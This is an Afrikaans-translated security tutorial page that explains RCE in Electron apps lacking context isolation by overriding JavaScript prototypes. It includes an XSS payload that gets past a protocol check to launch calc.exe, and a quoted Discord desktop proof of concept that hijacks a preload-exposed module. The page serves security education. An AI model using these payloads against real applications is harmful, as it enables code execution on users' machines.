Electron contextIsolation RCE via preload code
Reading time: 3 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Voorbeeld 1
Voorbeeld van https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30
Hierdie kode open http(s) skakels met die standaardblaaier:
Iets soos file:///C:/Windows/systemd32/calc.exe
kan gebruik word om 'n kalkulator uit te voer, die SAFE_PROTOCOLS.indexOf
keer dit egter.
Daarom kan 'n aanvaller hierdie JS-kode via die XSS of arbitrêre bladsy-navigasie inspuit:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
Aangesien die oproep na SAFE_PROTOCOLS.indexOf
altyd 1337 sal teruggee, kan die aanvaller die beskerming omseil en die calc uitvoer. Finale ontploffing:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
Kontroleer die oorspronklike skyfies vir ander maniere om programme uit te voer sonder om 'n prompt te vra vir toestemmings.
Blykbaar is 'n ander manier om kode te laai en uit te voer om toegang te verkry tot iets soos file://127.0.0.1/electron/rce.jar
Voorbeeld 2: Discord App RCE
Voorbeeld van https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1
Toe ek die preload-skripte nagegaan het, het ek gevind dat Discord die funksie blootstel, wat toelaat dat sommige toegelate modules via DiscordNative.nativeModules.requireModule('MODULE-NAME')
in die webblad aangeroep kan word.
Hier kon ek nie modules gebruik wat direk vir RCE gebruik kan word nie, soos child_process module, maar ek het 'n kode gevind waar RCE bereik kan word deur die ingeboude JavaScript-metodes te oorskry en in te gryp in die uitvoering van die blootgestelde module.
Die volgende is die PoC. Ek was in staat om te bevestig dat die calc toepassing geopen word wanneer ek die getGPUDriverVersions
funksie aanroep wat gedefinieer is in die module genoem "discord_utils" van devTools, terwyl ek die RegExp.prototype.test
en Array.prototype.join
oorskry.
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()
Die getGPUDriverVersions
funksie probeer om die program uit te voer deur die "execa" biblioteek te gebruik, soos die volgende:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}
const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}
return result
}
Gewoonlik probeer die execa om "nvidia-smi.exe" uit te voer, wat in die nvidiaSmiPath
-variabele gespesifiseer is, maar as gevolg van die oorgeskryfde RegExp.prototype.test
en Array.prototype.join
, word die argument vervang met "calc" in die _execa_'s interne verwerking.
Specifiek word die argument vervang deur die volgende twee dele te verander.